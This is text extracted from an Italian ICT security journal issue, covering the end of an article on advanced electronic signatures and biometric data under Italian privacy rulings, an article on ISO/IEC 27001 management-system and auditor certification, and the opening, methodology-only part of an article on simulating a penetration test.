Garante per la protezione dei dati personali12, nonché documenti ufficiali del Gruppo art. 29 (Gruppo
dei Garanti europei), i quali ritengono che il dato
biometrico sia da ritenersi un dato personale in quanto tale dato, sebbene criptato, è da ritenersi “ragionevolmente” identificabile da parte degli incaricati (tramite associazione del template al codice numerico e
al nominativo), dal vigilatore dei dati, azienda
costruttrice e titolare.
È bene sottolineare che il fatto che l’utilizzazione
dei dati biometrici/template sia da considerarsi un
trattamento di dati identificativi non costituisce di
per sé un vincolo legale insormontabile per tali soluzioni. Tuttavia andrà sempre analizzata la soluzione
sia sotto il profilo della sicurezza/protezione del
dato che sotto il profilo del contesto e delle finalità
di utilizzo. È infatti assodato che l’utilizzo dei dispositivi di riconoscimento biometrico utilizzati in
modo massivo come sistema di rilevazione presenze
in azienda non è da ritenersi generalmente una soluzione conforme alla normativa privacy. D’altro
canto, l’utilizzo dei dispositivi biometrici per finalità
di controllo accessi è cosa diversa dalle finalità di
Vi è da rilevare che la costituzione e gestione di un catalogo di firme biometriche può sollevare problemi con la normativa in materia di protezione di
dati personali, l’analisi di tali aspetti verrà affrontata nel proseguo.
12 A questo riguardo il Garante italiano ha sostanzialmente escluso l’utilizzazione generalizzata di dispositivi di riconoscimento di impronte digitali per
la rilevazione delle presenze dei dipendenti in azienda, a titolo esemplificativo, in tal senso si è espresso nel provvedimento nel quale si esclude che l’accesso
in banca sia esclusivamente vincolato al rilascio delle impronte digitali, Provv. Garante, in Bollettino, n. 91, gennaio 2008. Cfr. Provv. Garante, 19
novembre 1999, in Bollettino, n. 10, p. 68, Provv. Garante, 21 luglio 2005, in Bollettino, n. 63. Anche il Decalogo su corpo e privacy, 9 maggio
2006, del Garante tenta di dare una risposta alle criticità che sorgono in ordine all’utilizzazione delle tecniche di riconoscimento biometrico in azienda.
11
119
Fabio Di Resta
garantire l’autenticità di un documento.
Occorrerà trovare quindi uno specifico bilanciamento tra le esigenze di innovazione e la ricerca dell’efficienza tramite soluzioni ICT e la protezione dei
dati, la tutela della dignità e identità personale.
Questo bilanciamento dovrà individuarsi tramite
finalità e contesti che giustifichino l’impiego di tali
dispositivi biometrici.
Si ricorda molto sinteticamente che i principi di
correttezza, di necessità e di proporzionalità hanno
condotto il Garante privacy a tenere in particolare
conto, gli aspetti di sicurezza, la filiera dei soggetti
che possono accedere ai dati, la disponibilità dei template memorizzati sui dispositivi (p.e. smart card) per
il solo interessato, il numero ristretto di persone che
hanno accesso alle aree riservate, lo scopo di deterrenza connesso ai rischi di subire reati in una determinata zona/aree ad alta densità di criminalità.
Costituiscono un esemplificazione di quanto detto i
sistemi di riconoscimento di impronte digitali, eventualmente connessi a sistemi di videosorveglianza,
installate nelle Banche per finalità di controllo accessi13 (Art. 17 C.d.P., c.d. prior checking).
A questo riguardo è opportuno osservare, tenuto
conto di alcune peculiarità e che l’utilizzo concerneva la firma digitale anziché la firma elettronica avanzata, il Garante privacy ha recentemente esaminato la
richiesta di verifica preliminare del sistema di sottoscrizione dei documenti con firma digitale basato su
un sistema di autenticazione biometrica effettuata
tramite tablet utilizzato nelle operazioni allo sportello, ritenendo lecito il trattamento dei dati biometrici
effettuato dalla banca Unicredit (Provv. Garante privacy, 31 gennaio 2013, Verifica preliminare).
Nell’ambito della presente indagine è, infine,
opportuno per fini di completezza anche menzionare, molto schematicamente, le soluzioni che sicura-
mente soddisfano i requisiti di FEA poichè indicate
specificamente nel DPCM. In base a quanto disposto
le soluzioni alle quali viene riconosciuto il valore
legale di FEA nei confronti della PA saranno:
• la Posta Elettronica Certificata per PA (nei
limiti della firma del messaggio spedito);
• la Carta di Identità Elettronica;
• la Carta Nazionale Servizi.
5. I requisiti normativi e le criticità per adottare una soluzione di FEA
Le soluzioni di Firma Elettronica Avanzata vengono offerte dai soggetti che realizzano per conto
proprio nell’ambito del processo di dematerializzazione per fini istituzionali, societari, commerciali. Tali
soluzione potranno essere realizzate all’interno dell’organizzazione anche tramite fornitori esterni, questi soggetti devono però svolgere tali prestazioni
nell’”ambito dell’attività di impresa”.
Caratteristica fondamentale delle firme elettroniche avanzate è che tali soluzioni saranno utilizzabili
“limitatamente ai rapporti giuridici intercorrenti tra il
sottoscrittore e il soggetto” e nell’ambito del processo di dematerializzazione (Art. 60 del DPCM)14. La
disposizione poc’anzi richiamata è da interpretarsi
nel senso che l’utilizzazione del dispositivo di FEA
non potrà avere valore legale nei confronti di altri
soggetti privati o pubblici15 che non siano i soggetti
stessi che hanno rilasciato la soluzione per proprio
conto.
Infine, con riguardo alle criticità, dovute con
molta probabilità a problematiche connesse a vincoli normativi del rispetto della Direttiva
2006/123/CE, vi è da rilevare che nel DPCM non
13 Questi sono alcuni dei contesti nei quali sono stati ammessi i sistemi di riconoscimento biometrico, aree di accesso riservato in particolari ambiti come
aeroporti, aree di accesso al sistema produttivo, aree di accesso riservato nella gestione del sistema idrico, ecc.. Finora, in questo contesto, le verifiche preliminare sono state limitate quasi esclusivamente alle finalità di controllo accessi e generalmente su sistemi di riconoscimento di impronte digitali installati in aree
riservate, si richiamano tra le molte le seguenti pronunce: Provv. Garante privacy, 27 ottobre 2005, Boll. n. 65; Provv. Garante privacy, 23 novembre
2005, Boll. n. 66; Provv. Garante, 1 febbraio 2007, Boll. n. 80; Provv. Garante, 17 settembre 2009, Boll. n. 208.
14 La ragione della limitazione è condivisibile tenuto conto di quanto stabilito nell’articolo 57 del DPCM, il quale stabilisce che l’identificazione certa dell’utente deve essere effettuata dallo stesso fornitore che opera per proprio conto. Lo stesso dovrà poi consegnare all’utente una dichiarazione sulle condizioni di
utilizzo, la quale verrà conservata per un periodo di 20 anni, fornire una copia della dichiarazione e pubblicare le modalità di richiesta della stessa, infine,
rendere note le caratteristiche del sistema richieste per la FEA e consentire un uso alternativo di firma digitale e firma elettronica qualificata ove applicabile.
Cfr. art. 23 ter comma 2 del CAD, il quale conferisce ai documenti amministrativi informatici sottoscritti con FEA efficacia di scrittura privata nell’ambito del procedimento amministrativo.
15 Cfr. art. 23 ter comma 2 del CAD, il quale conferisce ai documenti amministrativi informatici sottoscritti con FEA efficacia di scrittura privata nell’ambito del procedimento amministrativo.
120
vengono definite con chiarezza le regole di identificazione univoche. Tali regole sono infatti necessarie
per un’identificazione certa ed affidabile dell’utilizzatore della firma che assicuri sufficienti garanzie contro eventuali abusi da parte di terzi. In tale contesto,
l’art. 57 comma 2 del DPCM relativo alle regole tecniche sulle firma elettroniche prevede che al fine di
proteggere i firmatari e i terzi da eventuali danni i
soggetti che adottano soluzione di FEA devono
rispondere di danni nella misura di cinquecentontomila euro anche ricorrendo a coperture assicurative.
L’articolo in esame mette in evidenza il chiaro
rischio di false sottoscrizioni nonché la possibilità di
modificare i documenti sottoscritti tramite FEA qualora non vengano adottate soluzioni non sufficientemente sicure. A parere di chi scrive appare evidente
che la disciplina dell’art. 56 (caratteristiche della soluzione di firma elettronica avanzata) lascia fin troppo
margine a chi voglia utilizzare tali soluzioni; in assenza di un sistema di sorveglianza l’affidabilità di soluzioni di FEA viene attribuita alla serietà dei prestatori che considerando la propria immagine aziendale
come un valore prioritario eviteranno di trovarsi in
difficoltà in caso di contestazioni in sede di giudizio.
Seguono più nello specifico una serie di interrogativi ancora aperti:
Chi è il soggetto dell’organizzazione che compirà
l’identificazione e su quali basi oggettive? Gli incaricati saranno adeguatamente formati?
L’esigenza di poter garantire danni derivanti dall’attività svolta nella misura di cinquecentoeuro
anche con il ricorso alla copertura assicurativa saranno un sufficiente incentivo per il mercato di riferimento (art. 57 comma 2 del DPCM)?
Ed infine, non essendo obbligatoria l’adozione di
certificazioni secondo i common criteria per il dispositivo sicuro, tali dispositivi hanno un livello di
sicurezza sufficiente per evitare il proliferarsi di furti
di identità e abusi di terzi?
È probabile ed auspicabile che tali interrogativi
16
possano trovare puntuali interventi volti a garantire
maggiore sicurezza, sia con riguardo agli ambiti operativi di utilizzo della FEA sia con riguardo alle
forme di garanzie previste contro forme di abuso.
Infine, un requisito stringente per i prestatori di servizi di FEA rivolta ai soggetti che adottano tali soluzioni come scopo dell’ “attività di impresa”, è costituito dall’obbligo di certificazione ISO/IEC 27001
relativo ai sistemi di gestione della sicurezza delle
informazioni e dall’obbligo di certificazione 9001 sui
sistemi di qualità16 per soluzioni rivolte alle pubbliche
amministrazioni.
Per concludere l’analisi delle soluzioni tecniche
che soddisfano i requisiti di Firma Elettronica
Avanzata, nonostante le problematiche connesse al
valore probatorio di questa tipologia firma pensata in
sede comunitaria per essere considerata come elemento di prova e non con valore pari alla firma digitale – ci sono infatti delle problematiche irrisolte – si
può affermare che esistono potenzialmente numerose tipologie di soluzioni che rispettano tali requisiti.
Occorre tuttavia esaminare le caratteristiche specifiche sul piano tecnico-legale delle soluzioni per verificare la corrispondenza con quanto disposto dalle
normative.
In conclusione, di fronte alle firme digitali e alle
firme elettroniche qualificate, la firma elettronica
avanzata presenta funzionalità e caratteristiche diverse, questo implica la necessità di un’attenta valutazione su diversi piani non solo di convenienza economica, ma anche legale ed organizzativo. Il rischio,
infatti, è quello del proliferarsi di soluzioni non sufficientemente sicure e che potrebbero non trovare in
giudizio una conferma del valore legale atteso dall’utilizzatore. Infine, si dovrebbe tenere in conto anche
l’ambito di impiego che, come nel caso della firma
grafometrica, può dar luogo a possibili violazioni
della normativa sulla protezione dei dati personali
nonostante le recenti aperture sulla questione da
parte del Garante privacy.
Tali certificazioni non sono richieste alle persone giuridiche private possedute o controllate dalla PA e alle persone giuridiche pubbliche.
121
Fabio Di Resta
Fabio Di Resta: dopo la laurea in giurisprudenza si specializza in Gran Bretagna in diritto dell’informatica
in ambito comunitario. Inizia l’attività di consulenza legale per società di primaria importanza occupandosi
sin da subito di problematiche giuridiche attinenti alla protezione dei dati personali e al diritto delle nuove tecnologie. In tale contesto ha maturato 10 anni di esperienza partecipando a progetti nazionali ed internazionali
per multinazionali e svolgendo consulenze legali su aspetti di sicurezza organizzativa nel quadro della ISO
27001 e delle best practice relative all’ICT. Si occupa intensamente anche di aspetti giuridici, nel quadro
Codice dell’Amministrazione Digitale, su progetti di dematerializzazione per conto di importanti enti pubblici
e società private. I temi nei quali ha acquisito particolare competenza vanno dagli aspetti legali della sanità
elettronica, della protezione dei dati personali applicata ai più diversi ambiti e le problematiche giuridiche connesse al Codice dell’Amministrazione Digitale. Ha pubblicato inoltre numerosi volumi tra i quali: Protezione
delle Informazioni. Privacy e sicurezza, Inside telematiche. Frodi e sicurezza, La tutela dei dati personali
nella Società dell’Informazione, Il Fascicolo Sanitario Elettronico ed altri. Pubblica infine regolarmente su riviste specialistiche, partecipa a
conferenze, lezioni e seminari sul tema del diritto dell’informatica e della privacy presso diverse università prestigiose.
122
Fabrizio Cirilli
PDCA Srl, partner di Security Brokers SCpA
LA CERTIFICAZIONE DEI SISTEMI E DEGLI AUDITOR PER LA SICUREZZA DELLE
INFORMAZIONI
(INFORMATION SECURITY MANAGEMENT SYSTEMS AND AUDITORS CERTIFICATION)
Sommario
Differenze ed aspetti specifici delle certificazioni nell'information security; come gli standard ISO influenzano e regolano la certificazione dei sistemi di gestione e degli auditor coinvolti nei processi di certificazione; ruolo e significatività della
certificazione e dell'accreditamento.
1. Introduzione
Sebbene esista da alcuni decenni, la “certificazione” assume per alcuni un significato diverso da quello reale.
Spesso la confusione deriva dall’improprio uso
della terminologia (come nel caso delle certificazioni
del personale) in altri casi deriva dalla molteplicità di
certificazioni esistenti e dalla scarsa conoscenza delle
tematiche ad esse connesse.
In questo articolo proveremo a diradare parte
della nebbia sul tema delle certificazioni e chiarire la
relazione esistente con la sicurezza delle informazioni e la sicurezza informatica.
Partiremo proprio da questi due termini:
• sicurezza delle informazioni: riguarda gli
aspetti organizzativi e gestionali per assicurare
la riservatezza, l’integrità e la disponibilità
delle informazioni;
• sicurezza informatica: riguarda gli aspetti di
sicurezza per i prodotti e sistemi informatici.
La differenza tra i due termini è equivalente alla
differenza tra le definizioni di sistemi informativi e
sistemi informatici. Il chiarimento su questa prima
differenza, seppure non totalmente risolutivo, permetterà di procedere con più semplicità nella lettura
del testo.
Indipendentemente dalle definizioni le due “sicuSpeciale Sicurezza ICT
A bstract
Differences and specific issues in information security certifications; how ISO’s standards influence and regulate the
management systems and the auditors certifications; role and
relevance of certifications and accreditations.
rezze” possono coesistere essendo esse destinate ad
ambiti diversi ma complementari. Anzi, dovrebbero
coesistere in quelle aziende che producono apparati
e sistemi destinati a supportare la sicurezza informatica e delle informazioni.
2. La certificazione
Con il termine certificazione (almeno in ambito
ISO) si intende quell’attività, svolta da un organismo
indipendente (o terza parte), per mezzo della quale
viene verificata e dichiarata la conformità di un sistema/prodotto/persona
rispetto
a
specifici
criteri/requisiti di valutazione. Tali organismi sono
definiti come Organismi di Certificazione (OdC).
La certificazione può essere riferita ad un ambito
cogente e/o regolamentato (cioè regolato da leggi ed
obbligatorio per determinati ambiti, come ad esempio la marcatura CE di alcuni prodotti) oppure ad un
ambito volontario come, ad esempio, la certificazione dei sistemi di gestione per la sicurezza delle informazioni e dei relativi auditor. La certificazione
cogente in genere si riferisce a prodotti mentre la
certificazione volontaria si riferisce a modelli organizzativi e competenze utilizzabili nelle organizzazioni pubbliche e private di qualsiasi dimensione e
settore di mercato (è il caso della oramai arcinota
123
Fabrizio Cirilli
Tabella 1: Organismi di Certificazione Italiani dei SGSI (Fonte: Accredia – agg. 2/10/2013)
ISO 9001).
Per maggiori informazioni e per una descrizione
estesa delle certificazioni disponibili in Italia è possibile consultare il “Libro bianco - Le Prove, i
Controlli, le Valutazioni e le Certificazioni per i prodotti, i servizi, le aziende ed i professionisti” pubblicato da Confindustria nel 2010, reperibile all’ indirizzo:
http://www.confindustriasi.it/files/File/Documenti
/Studi%20e%20Documenti/LibroBianco.pdf
3. Accreditamento
Un argomento fondamentale, che occorre mettere a fuoco per capire l’esatto significato della certificazione, è l’accreditamento.
L’accreditamento è definito come: «Attestazione
da parte di un organismo nazionale di accreditamento che certifica che un determinato organismo di
valutazione della conformità soddisfa i criteri stabiliti da norme armonizzate e, ove appropriato, ogni
altro requisito supplementare, compresi quelli definiti nei rilevanti programmi settoriali, per svolgere una
specifica attività di valutazione della conformità»
REG (CE) N. 765/2008.
Per i SGSI e per gli auditor/lead auditor dei SGSI
è Accredia (www.accredia.it) ad assicurare che i relativi organismi di certificazione (dei sistemi di gestione e delle competenze del personale) operino in con-
124
formità a norme armonizzate, assicurando nel contempo la portabilità e riconoscibilità delle certificazioni a livello europeo (per mezzo del Multi Lateral
Agreement) e mondiale (per mezzo del Multi
Recognition Arrangement).
La posizione di Accredia per i SGSI e per gli auditor/lead auditor dei SGSI è quindi equivalente alla
posizione dell’OCSI per i prodotti/sistemi e assessor
(con riferimento ai “common criteria”)
In Italia operano gli Organismi di Certificazione
accreditati per la certificazione dei Sistemi di
Gestione per la Sicurezza delle Informazioni elencati in Tabella 1 (in ordine alfabetico).
Vale a dire che soltanto i suddetti Organismi possono rilasciare certificazioni per i SGSI garantite dal
sistema di accreditamento nazionale (Accredia).
Altri Organismi di Certificazione, operanti in
Italia con accreditamenti coperti da accordi di mutuo
riconoscimento, possono comunque rilasciare certificazioni.
Certificazioni rilasciate da Organismi di
Certificazione non accreditati sono altresì possibili a
discapito della loro verificabilità e rispondenza alle
direttive e garanzie sopra elencate.
4. Certificazione di sistema
Dunque, la certificazione dei sistemi di gestione si
riferisce alle attività poste in atto da un’organizzazioSpeciale Sicurezza ICT
LA CERTIFICAZIONE DEI SISTEMI E DEGLI AUDITOR PER LA SICUREZZA DELLE INFORMAZIONI
Figura 1: Norme e linee guidi della famiglia ISO/IEC 27001
ne, pubblica e/o privata, di qualsiasi dimensione e
settore, per soddisfare uno specifico standard o
insieme di requisiti.
La certificazione dei Sistemi di Gestione per la
Sicurezza delle Informazioni (o SGSI) è riferita ai
requisiti descritti nella norma ISO/IEC
27001:20131.
La famiglia delle ISO/IEC 27000 è alquanto
vasta, proprio per la tipologia di temi trattati e riconducibili al più vasto campo dell’Information Security.
Per semplicità è riportato in Figura 1 uno specchietto riassuntivo delle norme e linee guide della
famiglia ISO/IEC 27001, il cui valore non può essere esaustivo visto il loro continuo aggiornamento.
Le norme sono, come è possibile notare, suddivise in:
• requisiti, vale a dire in argomenti prescrittivi
che occorre dimostrare qualora si scelga di
adottare la norma. In questo senso solo la
ISO/IEC 27001 è destinata alla certificazione
delle organizzazioni mentre la ISO/IEC
1Alla data di stesura dell’articolo coesistono, per effetto del periodo di
transizione, entrambe le versioni della ISO/IEC 27001: edizione 2005
ed edizione 2013. Il periodo di transizione è stabilito dal sistema di
accreditamento internazionale (IAF) e/o da quello nazionale (Accredia)
cui si rimanda per maggiori informazioni.
27006 è ad uso degli organismi di certificazione ed accreditamento.
• Linee guida, vale a dire documenti in grado di
guidare le organizzazioni per la gestione di
aspetti specifici inerenti la sicurezza delle
informazioni
• Di settore, vale a dire applicazioni specifiche
della ISO/IEC 27001 per settori merceologici.
• Tematiche, vale a dire documenti di maggior
specializzazione per argomenti specifici della
sicurezza delle informazioni.
I riquadri con sfondo scuro evidenziano gli standard già pubblicati mentre quelli sfondo bianco evidenziano standard in fase di stesura e/o di prossima
pubblicazione.
5. Certificazione del personale
La certificazione del personale si riferisce invece
alle attività poste in atto dagli Organismi di
Certificazione del Personale nel verificare/attestare
le competenze delle persone rispetto ad un modello,
ad uno standard o a una norma di riferimento.
Una delle figure previste da tale certificazione
sono proprio gli auditor/lead auditor dei Sistemi di
125
Fabrizio Cirilli
Gestione per la Sicurezza delle Informazioni.
6. SGSI
Un Sistema di Gestione per la Sicurezza delle
Informazioni (o SGSI) è un modello organizzativo
atto ad assicurare la riservatezza, la disponibilità e
l’integrità delle informazioni inerenti i processi produttivi aziendali racchiusi all’interno di un determinato perimetro fisico-logico. Le contromisure, adottate
per assicurare la sicurezza delle informazioni, sono
definite grazie alla gestione e valutazione dei rischi
rispetto a determinate politiche di sicurezza delle
informazioni delineate dalla Direzione dell’organizzazione.
Vale qui la pena ricordare che un SGSI si pone gli
obiettivi di:
1. assicurare la continuità del business anche in
caso di incidente alla sicurezza delle informazioni;
2. minimizzare i danni e le perdite in caso di incidente alla sicurezza delle informazioni;
3. massimizzare gli investimenti in materia di
sicurezza delle informazioni per mezzo del
miglioramento continuo delle prestazioni del
SGSI e delle contromisure adottate a fronte
dei rischi valutati.
I SGSI adottano la metodologia PDCA (Plan, Do,
Check, Act) per l’implementazione delle attività
necessarie ad assicurare la sicurezza delle informazioni. Pur non volendo qui descrivere la norma
ISO/IEC 27001 ne citiamo le principali attività, previste nelle quattro fasi delle metodologia PDCA, proprio per dare evidenza delle differenze con altri standard in ambito sicurezza:
•
•
•
•
•
•
•
•
Contesto dell’organizzazione;
Leadership;
Planning;
Support;
Operation;
Performance evaluation;
Improvement;
Annex A - Control objectives and controls.
Essendo un modello organizzativo prescinde da
tecnologie e prodotti per la sicurezza che invece sono
ad appannaggio di altri standard come la ISO/IEC
15408, ITSEC e/o ITSEM ai quali si rimanda per
maggiori informazioni.
126
7. Auditor/Lead auditor dei SGSI
Sono persone la cui competenza ed esperienza nel
campo della sicurezza delle informazioni e nella loro
verifica (o audit), sono state valutate a fronte di appositi standard permettendone la certificazione e l’eventuale iscrizione in uno dei registri esistenti.
La verifica di un SGSI deve essere condotta da un
Auditor/Lead auditor dei SGSI la cui competenza sia
assicurata come minimo dal superamento di un corso
di qualificazione, riconosciuto da uno degli organismi
di certificazione del personale. Non è invece necessaria la certificazione delle competenze né tanto meno
l’iscrizione ad un apposito registro (che pure assicurerebbero maggior affidabilità verso il mercato).
In Italia operano due organismi di certificazione
del personale accreditati per la certificazione dei lead
auditor dei SGSI: AICQ-SICEV e CEPAS. A questi
si unisce RICEC quale organismo di certificazione
del personale, con accreditamento SAS (CH), riconosciuto per effetto del mutuo riconoscimento
Europeo (MLA)2. Discorso a parte per il più vasto
registro IRCA (UK) che al momento attuale risulta
privo di qualsiasi forma di accreditamento essendo
considerato dal mercato come “standard de facto”.
Il numero di auditor/lead auditor italiani dei
SGSI, considerando tutti e quattro i registri, risulta
assolutamente inferiore al numero di auditor/lead
auditor destinati ad altre norme della famiglia ISO.
Questo a riprova della particolarità e complessità dei
temi cui i SGSI si riferiscono.
I recenti aggiornamenti normativi hanno rivisitato sia i processi di audit sia le competenze minime
necessarie per operare in qualità di auditor/lead auditor. Ad oggi un auditor/lead auditor dei SGSI deve
come minimo:
1. dimostrare almeno 40 ore documentate di formazione specifica sui temi della ISO/IEC
27001 e della sicurezza delle informazioni
oppure frequentare un corso equivalente tra
quelli riconosciuti (o registrati) dagli
Organismi di Certificazione del Personale
accreditati da Accredia;
2. superare un esame che soddisfi i requisiti stabiliti dagli Organismi di Certificazione del
2Vale qui la pena di ricordare che il mutuo riconoscimento (MLA) si
riferisce sia alla certificazione dei sistemi di gestione sia alle certificazioni
di competenza del personale e quindi degli auditor. Occorre però precisare
che il multilateral agreement attuale non copre però la certificazione dei
SGSI e la certificazione degli Auditor/Lead Auditor dei SGSI.
LA CERTIFICAZIONE DEI SISTEMI E DEGLI AUDITOR PER LA SICUREZZA DELLE INFORMAZIONI
Personale per la qualifica degli auditor/lead
auditor dei SGSI.
Per la certificazione (ed iscrizione ad un registro)
dobbiamo poi aggiungere:
• un’esperienza lavorativa generale almeno
quinquennale di cui almeno 2 trascorsi nel
campo dell’information security.
E in funzione del ruolo:
• almeno 4 audit per complessivi 20 gg di audit
in posizione di auditor, per la certificazione in
qualità di auditor;
• quelli richiesti per auditor + almeno 3 audit
per complessivi 15 gg di audit in posizione di
lead auditor, per la certificazione in qualità di
lead auditor.
Le competenze necessarie per affrontare l’esame,
e quindi il processo di certificazione, possono essere
riassunte (non in modo esaustivo) come segue:
– Linee guida e standard quali: ISO / IEC
27000, ISO / IEC 27001, ISO / IEC 27002,
ISO / IEC 27003, ISO / IEC 27004, ISO /
IEC 27005, ISO/IEC 27006, ISO/IEC 27007
e ISO/IEC TR 27008.
– Individuazione e valutazione dei requisiti dei
clienti e delle parti interessate.
– Disposizioni legislative e regolamentari in
materia di sicurezza delle informazioni.
– I processi e le tecnologie di base per la gestione della sicurezza delle informazioni e della
sicurezza informatica.
– Valutazione del rischio (identificazione, analisi e valutazione), le tendenze della tecnologia,
le minacce e le vulnerabilità. La gestione dei
rischi della sicurezza delle informazioni.
– Metodi e pratiche per i controlli della sicurezza delle informazioni (elettronici e fisici).
– Metodi e pratiche per l'integrità delle informazioni e delle informazioni sensibili.
– Metodi e le pratiche per la misurazione e valutazione dell'efficacia dei SGSI e delle contromisure attuate.
– Metodi e pratiche per la misurazione, il monitoraggio e la registrazione delle prestazioni dei
SGSI e della sicurezza informatica.
– ….
Per maggiori informazioni sulle certificazioni in
materia di sicurezza delle informazioni si rimanda al
Quaderno Clusit 009 (http://www.clusit.it/download/Q09_web.pdf).
8. Considerazioni
Da quanto descritto è chiaro come la certificazione dei SGSI, e degli auditor/lead auditor destinati
alla loro verifica, siano processi volontari cui organizzazioni e persone aderiscono esclusivamente per
soddisfare esigenze proprie e/o contrattuali (come
ad esempio nel caso dei bandi di gara o contratti con
multinazionali).
I laboratori per la valutazione della sicurezza
(LVS) svolgono un ruolo analogo a quello svolto
dagli organismi di certificazione dei SGSI e degli
auditor/lead auditor dei SGSI: entrambi sono incaricati della verifica dei requisiti a fronte di standard di
riferimento, sebbene siano riferiti a standard diversi e
soggetti a criteri di riconoscimento/accreditamento
non direttamente comparabili.
In Figura 2 diamo una sintesi dello stato delle certificazioni in Italia (fonte Accredia) con particolare
enfasi ai SGSI.
Il numero di certificati, se confrontato, ad esempio, con le aziende certificate ISO 9001 nel settore
delle Tecnologie dell’Informazione (EA 33) sono
assolutamente inferiori sebbene il tema sia di assoluta attualità e riferibile oramai a praticamente tutti i
contesti applicativi dell’ICT (cfr. Figura 3).
8. Differenze tra standard
La certificazione dei SGSI si riferisce quindi al
sistema gestionale che assicura la sicurezza delle
informazioni all’interno di una organizzazione mentre la certificazione della sicurezza informatica di
prodotti e sistemi si riferisce a specifiche caratteristiche di questi secondo modelli predeterminati.
Mentre la certificazione di un SGSI è basato su
un sistema di campionamento delle evidenze fornite
dall’organizzazione rispetto ai requisiti della
ISO/IEC 27001 la certificazione di un
prodotto/sistema è basata su prove tecniche specifiche, eseguite da Laboratori autorizzati, in funzione
del livello di sicurezza atteso (EAL).
Pertanto, un SGSI può essere certificato con un
criterio on/off su base campionaria mentre un prodotto/sistema può essere certificato rispetto ad un
livello specifico di sicurezza i cui requisiti sono
oggettivamente verificabili per mezzo di prove svolte presso laboratori accreditati (LVS).
Da ciò è evidente la differente “destinazione
d’uso” delle due certificazioni e la loro assoluta com-
127
Fabrizio Cirilli
Figura 2: Sintesi dello stato delle certificazioni in Italia (Fonte: Accredia – agg. 2/10/2013)
Figura 3 (Fonte: Accredia – agg. 2/10/2013)
plementarietà. Ad esempio, un’organizzazione produttrice di prodotti/sistemi certificati EAL3 potrebbe scegliere di certificare: i processi che assicurano la
riservatezza, l’integrità e la disponibilità delle informazioni (per mezzo della ISO/IEC 27001:2013) inerenti le caratteristiche di sicurezza informatica dei
propri prodotti/sistemi certificati EAL3 (per mezzo
dei Common Criteria).
9. Il ruolo delle associazioni
Un ruolo fondamentale, nella diffusione degli
128
standard e delle best practice della sicurezza delle
informazioni e della sicurezza informatica, è giocato
dalle associazioni che a vario titolo promuovono in
Italia ed all’estero la consapevolezza su tali temi.
A titolo puramente rappresentativo, in ordine
alfabetico (scusandomi anticipatamente per quelli
che dimenticherò) cito, ad esempio: AICA, AIEA,
AIIC, AIP, AIPSI, CLUSIT, ENISA, INFORAV,
ISACA ROMA, UNINFO ecc.
A loro dobbiamo un gran numero di eventi, corsi,
seminari di aggiornamento condotti da professionisti
italiani ed internazionali di assoluta levatura e considerati un punto di riferimento per le varie tematiche.
Andrea Draghetti
Over Security
SIMULAZIONE DI UN PENETRATION TEST
(PENETRATION TESTING SIMULATION)
Sommario
Viene presentata la simulazione di un attacco informatico, Penetration Testing, un metodo per valutare la sicurezza
di un sistema o di una rete. L'analisi viene condotta dalla
posizione di un potenziale aggressore, il quale attraverso più
fasi individuerà una o più debolezze. Tali vulnerabilità
potranno essere sfruttare per compromettere il funzionamento
del sistema. Il Penetration Testing ha pertanto lo scopo di individuare vulnerabilità informatiche, rilevando il maggior numero di dettagli sulla vulnerabilità che permettono un accesso non
autorizzato.
A bstract
This work presents the simulation of a cyber attack,
Penetration Testing, a method of evaluating the security of a
system or network. The analysis is carried out from the position of a potential attacker who, through several stages, identify one or more weaknesses. These vulnerabilities can be
exploited to compromise the operation of the system. The
Penetration Testing, therefore, aims at identifying computer
vulnerabilities, detecting as many details on each vulnerability
that allow unauthorized access.
La corsa agli armamenti è in atto, è quanto sostiene McAfee in un report di Gennaio 2012, ma non
per guerre materiali ma per attacchi informatici. La
Sicurezza Informatica è ormai una priorità di tutti gli
stati addirittura in alcuni casi maggiore della difesa
missilistica, pertanto affronteremo in questo articolo
una simulazione di un Penetration Test partendo
dalle prime fasi di un attacco fino a fornire esempi
pratici sulla metodologia applicata e i tools utilizzati.
informazioni in esso contenute.
Il Penetration Test è dunque il processo operativo in grado di valutare la sicurezza di un sistema o di
una rete simulando l’attacco di un utente
malintenzionato, il fine è l’ottenimento di informazioni protette o il controllo completo del sistema
remoto sfruttando le proprie competenze, aiutandosi anche con software automatici. Auditor è colui che
svolge tutte le attività di verifica operando con logiche medesime a quelle di un Hacker.
L’analisi intrapresa da un Auditor comprende più
fasi ed ha l’obiettivo di evidenziare in un report le
debolezze rilevate nella piattaforma, fornendo il
maggior numero di informazioni sulle vulnerabilità
sfruttate per ottenere l’accesso non autorizzato. Tutti
i problemi rilevati vengono quindi presentati fornendo una stima chiara sull’attuale capacità di difesa e
del livello di penetrazione raggiunto nei confronti
delle vulnerabilità del sistema interne ed esterne ed
eventualmente delle vulnerabilità fisiche.
L’Auditor non si fermerà ad analizzare i soli sistemi informatici ma potrà sfruttare tecniche di
Ingegneria Sociale per verificare eventuali carenze
formative del personale aziendale di fronte a tentati-
1. Introduzione
L’attenzione verso la Sicurezza Informatica è cresciuta negli ultimi anni proporzionalmente alla diffusione di sistemi informatici e all'incremento della
collettività nell’utilizzo dei PC. L’Hacker Etico è oggi
una figura ricercata ed importante per grandi aziende
o stati al fine di rilevare e sconfiggere eventuali
minacce derivanti da attacchi informatici.
L’obbiettivo di un sistema protetto è di garantire
l’accesso e l’integrità all’informazione ai soli utenti
che ne hanno facoltà, impedendo l’accesso abusivo
da parte di estranei o evitando l’alterazione delle
129
Andrea Draghetti
vi di intrusione; questa modalità definita Hidden
Mode prevede l’accordo esclusivamente con il consiglio amministrativo dell’azienda che commissiona le
verifiche lasciando all’oscuro tutto il personale, compreso il settore IT dell’azienda.
2. Il Metodo
L’attacco ad un sistema si può suddividere in cinque fasi principali:
1.
2.
3.
4.
6.
Information Gathering;
Vulnerability Assessment;
Exploitation;
Privilege Escalation;
Reporting.
L’Information Gathering ha l’obbiettivo di raccogliere informazioni utili sul bersaglio come una lista di
nomi di dominio, l’architettura della piattaforma,
delimitazione di indirizzi IP, sistemi e porte attive,
servizi offerti ed infine un elenco di nominativi ed
eMail utili in caso di attacco Social Engineering. I dati
raccolti in questa fase ci permetteranno di scegliere la
linea di attacco da seguire nel passo successivo.
L’attività di Vulnerability Assessment permette di
identificare ogni vulnerabilità creando un quadro
completo dello stato di esposizione della rete in analisi a tutte le vulnerabilità note, ma non è in grado di
valutarne con precisione l’effettiva sfruttabilità. Per questa attività vengono abitualmente sfruttati tool automatici che grazie alla loro velocità di scansione permettono
di analizzare in breve tempo
un ampio numero di servizi.
La fase successiva di
Exploitation permette di
ricercare all’interno di un
software una vulnerabilità in
grado di provocare un
imprevisto nel sistema bersaglio del nostro attacco.
